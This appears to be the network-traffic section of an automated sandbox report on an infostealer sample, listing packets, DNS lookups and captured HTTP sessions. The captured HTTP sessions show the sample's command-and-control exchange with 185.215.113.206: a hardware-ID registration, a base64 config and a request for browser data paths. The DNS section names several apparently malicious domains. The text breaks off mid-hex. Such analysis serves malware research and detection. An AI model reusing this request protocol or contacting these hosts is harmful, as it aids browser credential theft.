Nov 26, 2024 22:52:57.380325079 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.381609917 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.381648064 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.381685972 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.381692886 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.381705046 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.381757975 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.381776094 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.381787062 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.381798029 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.381803036 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.384077072 CET	49911	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.384111881 CET	443	49911	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.384176016 CET	49911	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.384318113 CET	49911	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.384331942 CET	443	49911	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.427328110 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.694175959 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:57.694231033 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:57.722187996 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:57.842236042 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:58.060028076 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:58.062999010 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:58.063134909 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:58.063191891 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:58.063211918 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:58.063222885 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:58.063229084 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:58.066085100 CET	49912	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:58.066134930 CET	443	49912	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:58.066365004 CET	49912	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:58.066483021 CET	49912	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:58.066494942 CET	443	49912	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:58.247529030 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:58.247576952 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:58.252846003 CET	49913	80	192.168.2.7	185.215.113.16
Nov 26, 2024 22:52:58.372899055 CET	80	49913	185.215.113.16	192.168.2.7
Nov 26, 2024 22:52:58.372968912 CET	49913	80	192.168.2.7	185.215.113.16
Nov 26, 2024 22:52:58.373150110 CET	49913	80	192.168.2.7	185.215.113.16
Nov 26, 2024 22:52:58.447297096 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:58.447907925 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:58.447926044 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:58.448452950 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:58.448457003 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:58.486747026 CET	443	49827	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:58.486912966 CET	443	49827	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:58.486963987 CET	49827	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:58.493100882 CET	80	49913	185.215.113.16	192.168.2.7
Nov 26, 2024 22:52:58.637660027 CET	443	49906	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:58.637974977 CET	49906	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:58.637988091 CET	443	49906	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:58.638326883 CET	443	49906	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:58.638796091 CET	49906	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:58.638848066 CET	443	49906	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:58.658653975 CET	443	49905	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:58.658864975 CET	49905	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:58.658879995 CET	443	49905	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:58.660128117 CET	443	49905	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:58.660182953 CET	49905	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:58.660520077 CET	49905	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:58.660643101 CET	443	49905	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:58.669075966 CET	443	49908	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:58.669346094 CET	49908	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:58.669373989 CET	443	49908	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:58.671008110 CET	443	49908	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:58.671133041 CET	49908	443	192.168.2.7	104.70.121.41

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 22:52:07.759006023 CET	192.168.2.7	1.1.1.1	0x6676	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:25.215580940 CET	192.168.2.7	1.1.1.1	0x7244	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:25.215749979 CET	192.168.2.7	1.1.1.1	0xe7bb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 26, 2024 22:52:32.149589062 CET	192.168.2.7	1.1.1.1	0x56bf	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:32.149955034 CET	192.168.2.7	1.1.1.1	0x8f3c	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 26, 2024 22:52:36.545409918 CET	192.168.2.7	1.1.1.1	0xaed5	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:36.545701027 CET	192.168.2.7	1.1.1.1	0x84b9	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 26, 2024 22:52:39.839955091 CET	192.168.2.7	1.1.1.1	0x672e	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:39.840053082 CET	192.168.2.7	1.1.1.1	0x4111	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 26, 2024 22:52:39.946844101 CET	192.168.2.7	1.1.1.1	0xf479	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:39.947056055 CET	192.168.2.7	1.1.1.1	0xa782	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 26, 2024 22:52:41.475284100 CET	192.168.2.7	1.1.1.1	0x3900	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:41.475445986 CET	192.168.2.7	1.1.1.1	0x9217	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 22:52:41.475752115 CET	192.168.2.7	1.1.1.1	0x7b8f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:41.475882053 CET	192.168.2.7	1.1.1.1	0x9e9c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 22:52:41.481853008 CET	192.168.2.7	1.1.1.1	0xf497	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:41.482038021 CET	192.168.2.7	1.1.1.1	0xa729	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 22:52:44.761059046 CET	192.168.2.7	1.1.1.1	0x8ee	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:44.761389971 CET	192.168.2.7	1.1.1.1	0xc84e	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 26, 2024 22:52:44.772679090 CET	192.168.2.7	1.1.1.1	0x41ed	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:44.772911072 CET	192.168.2.7	1.1.1.1	0x2d63	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 26, 2024 22:54:10.646190882 CET	192.168.2.7	1.1.1.1	0x3644	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:10.646362066 CET	192.168.2.7	1.1.1.1	0x9b08	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 22:54:10.646842957 CET	192.168.2.7	1.1.1.1	0x8643	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:10.646990061 CET	192.168.2.7	1.1.1.1	0xba49	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 22:54:11.644999027 CET	192.168.2.7	1.1.1.1	0xb15	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:11.645203114 CET	192.168.2.7	1.1.1.1	0x5db9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 22:54:20.802551031 CET	192.168.2.7	1.1.1.1	0x3188	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:20.802681923 CET	192.168.2.7	1.1.1.1	0xc86f	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Nov 26, 2024 22:54:22.036633015 CET	192.168.2.7	1.1.1.1	0x214c	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:23.944812059 CET	192.168.2.7	1.1.1.1	0xcf24	Standard query (0)	b.tundara.dev	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:26.631149054 CET	192.168.2.7	1.1.1.1	0xca5e	Standard query (0)	w.tundara.dev	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:28.797385931 CET	192.168.2.7	1.1.1.1	0x2da5	Standard query (0)	home.twentykm20sr.top	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:28.797501087 CET	192.168.2.7	1.1.1.1	0xb38e	Standard query (0)	home.twentykm20sr.top	28	IN (0x0001)	false
Nov 26, 2024 22:54:31.823946953 CET	192.168.2.7	1.1.1.1	0x5d6d	Standard query (0)	home.twentykm20sr.top	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:31.824027061 CET	192.168.2.7	1.1.1.1	0xdb8b	Standard query (0)	home.twentykm20sr.top	28	IN (0x0001)	false
Nov 26, 2024 22:54:32.044435978 CET	192.168.2.7	1.1.1.1	0xbd25	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:32.189361095 CET	192.168.2.7	1.1.1.1	0xe27c	Standard query (0)	frogs-severz.sbs	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:32.332765102 CET	192.168.2.7	1.1.1.1	0x646d	Standard query (0)	occupy-blushi.sbs	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:32.476191998 CET	192.168.2.7	1.1.1.1	0x811d	Standard query (0)	blade-govern.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 22:52:07.896605015 CET	1.1.1.1	192.168.2.7	0x6676	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:08.730401039 CET	1.1.1.1	192.168.2.7	0x8650	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:08.730401039 CET	1.1.1.1	192.168.2.7	0x8650	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:25.353075981 CET	1.1.1.1	192.168.2.7	0x7244	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:25.353878021 CET	1.1.1.1	192.168.2.7	0xe7bb	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 26, 2024 22:52:32.290046930 CET	1.1.1.1	192.168.2.7	0x56bf	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:32.290046930 CET	1.1.1.1	192.168.2.7	0x56bf	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:32.292560101 CET	1.1.1.1	192.168.2.7	0x8f3c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:36.682862997 CET	1.1.1.1	192.168.2.7	0xaed5	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:36.683581114 CET	1.1.1.1	192.168.2.7	0x84b9	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:36.688386917 CET	1.1.1.1	192.168.2.7	0x3554	No error (0)	svc.ha-teams.office.com	svc.ms-acdc-teams.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:37.802364111 CET	1.1.1.1	192.168.2.7	0x2602	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:37.802364111 CET	1.1.1.1	192.168.2.7	0x2602	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:37.804549932 CET	1.1.1.1	192.168.2.7	0x17f4	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:39.978590965 CET	1.1.1.1	192.168.2.7	0x672e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:39.978733063 CET	1.1.1.1	192.168.2.7	0x4111	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:40.087651968 CET	1.1.1.1	192.168.2.7	0xf479	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:40.087651968 CET	1.1.1.1	192.168.2.7	0xf479	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:40.182595968 CET	1.1.1.1	192.168.2.7	0xa782	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:41.614506006 CET	1.1.1.1	192.168.2.7	0x3900	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:41.614506006 CET	1.1.1.1	192.168.2.7	0x3900	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:41.614520073 CET	1.1.1.1	192.168.2.7	0x9217	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 22:52:41.614655972 CET	1.1.1.1	192.168.2.7	0x9e9c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 22:52:41.616744995 CET	1.1.1.1	192.168.2.7	0x7b8f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:41.616744995 CET	1.1.1.1	192.168.2.7	0x7b8f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:41.619959116 CET	1.1.1.1	192.168.2.7	0xf497	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:41.619959116 CET	1.1.1.1	192.168.2.7	0xf497	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:41.619968891 CET	1.1.1.1	192.168.2.7	0xa729	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 22:52:44.556636095 CET	1.1.1.1	192.168.2.7	0x8a77	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:44.556636095 CET	1.1.1.1	192.168.2.7	0x8a77	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:44.899224043 CET	1.1.1.1	192.168.2.7	0x8ee	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:44.899224043 CET	1.1.1.1	192.168.2.7	0x8ee	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:44.899224043 CET	1.1.1.1	192.168.2.7	0x8ee	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:44.899224043 CET	1.1.1.1	192.168.2.7	0x8ee	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:52:44.910056114 CET	1.1.1.1	192.168.2.7	0x2d63	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:52:44.910988092 CET	1.1.1.1	192.168.2.7	0x41ed	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 22:54:10.803198099 CET	1.1.1.1	192.168.2.7	0x3644	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:10.803198099 CET	1.1.1.1	192.168.2.7	0x3644	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:10.803206921 CET	1.1.1.1	192.168.2.7	0x8643	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:10.803206921 CET	1.1.1.1	192.168.2.7	0x8643	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:10.803217888 CET	1.1.1.1	192.168.2.7	0xba49	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 22:54:10.803227901 CET	1.1.1.1	192.168.2.7	0x9b08	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 22:54:11.783780098 CET	1.1.1.1	192.168.2.7	0xb15	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:11.783780098 CET	1.1.1.1	192.168.2.7	0xb15	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:11.785027981 CET	1.1.1.1	192.168.2.7	0x5db9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 22:54:21.096482992 CET	1.1.1.1	192.168.2.7	0x3188	No error (0)	httpbin.org		18.213.123.165	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:21.096482992 CET	1.1.1.1	192.168.2.7	0x3188	No error (0)	httpbin.org		18.208.8.205	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:22.285955906 CET	1.1.1.1	192.168.2.7	0x214c	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:24.374929905 CET	1.1.1.1	192.168.2.7	0xcf24	No error (0)	b.tundara.dev		51.210.106.44	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:26.866579056 CET	1.1.1.1	192.168.2.7	0xca5e	No error (0)	w.tundara.dev		51.210.106.44	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:29.099567890 CET	1.1.1.1	192.168.2.7	0x2da5	No error (0)	home.twentykm20sr.top		34.118.89.252	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:31.962570906 CET	1.1.1.1	192.168.2.7	0x5d6d	No error (0)	home.twentykm20sr.top		34.118.89.252	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:32.185844898 CET	1.1.1.1	192.168.2.7	0xbd25	Name error (3)	property-imper.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:32.327366114 CET	1.1.1.1	192.168.2.7	0xe27c	Name error (3)	frogs-severz.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:32.471352100 CET	1.1.1.1	192.168.2.7	0x646d	Name error (3)	occupy-blushi.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:32.615905046 CET	1.1.1.1	192.168.2.7	0x811d	No error (0)	blade-govern.sbs		172.67.153.209	A (IP address)	IN (0x0001)	false
Nov 26, 2024 22:54:32.615905046 CET	1.1.1.1	192.168.2.7	0x811d	No error (0)	blade-govern.sbs		104.21.80.208	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49712	185.215.113.206	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:52:15.739756107 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 22:52:17.172363997 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 22:52:17.176038980 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGC Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 33 44 31 44 44 45 32 44 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="hwid"973D1DDE2D39786254513------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="build"mars------KEHJKJDGCGDAKFHIDBGC--
Nov 26, 2024 22:52:17.648597956 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 54 55 79 4f 57 49 7a 4e 6a 55 33 4e 54 55 33 4f 57 4d 32 4e 44 63 34 59 54 63 35 5a 57 49 33 59 57 45 31 4d 57 4d 30 4f 44 6b 77 4e 32 4a 68 4d 6a 4e 6a 4d 7a 51 78 4e 47 46 6c 4e 47 45 77 5a 47 55 31 4e 7a 63 7a 5a 44 4e 69 4f 54 52 6a 59 6d 45 35 4f 44 41 30 4d 7a 52 69 59 54 45 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YTUyOWIzNjU3NTU3OWM2NDc4YTc5ZWI3YWE1MWM0ODkwN2JhMjNjMzQxNGFlNGEwZGU1NzczZDNiOTRjYmE5ODA0MzRiYTE2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 26, 2024 22:52:17.649918079 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 2d 2d 0d 0a Data Ascii: ------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="message"browsers------HJJJECFIECBGDGCAAAEH--
Nov 26, 2024 22:52:18.112689972 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 